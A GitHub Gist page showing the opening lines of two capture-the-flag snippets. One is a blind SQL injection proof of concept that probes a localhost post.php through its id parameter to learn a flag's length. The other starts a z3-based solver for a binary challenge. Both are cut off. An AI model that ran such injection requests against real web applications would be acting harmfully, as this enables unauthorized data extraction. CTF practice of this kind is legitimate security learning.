Skip to content

Instantly share code, notes, and snippets.

@mokhdzanifaeq
mokhdzanifaeq / poc.py
Created December 11, 2018 11:25
blind sql injection
import requests
tmp = '0x'
flag = ''
length = 1
# get flag length
while True:
r = requests.get('http://localhost/post.php?id=length(@bounty)-{}'.format(length - 1))
if '1337' in r.content: break
@mokhdzanifaeq
mokhdzanifaeq / bin300_solver.py
Created November 4, 2019 20:13
uitm jasin ctf 2019
from z3 import *
from struct import pack
# define vars
LENGTH = 8
DEBUG = 0
Buf = [BitVec("%i" % i, 16) for i in range(LENGTH)]
solver = Solver()
solver.add(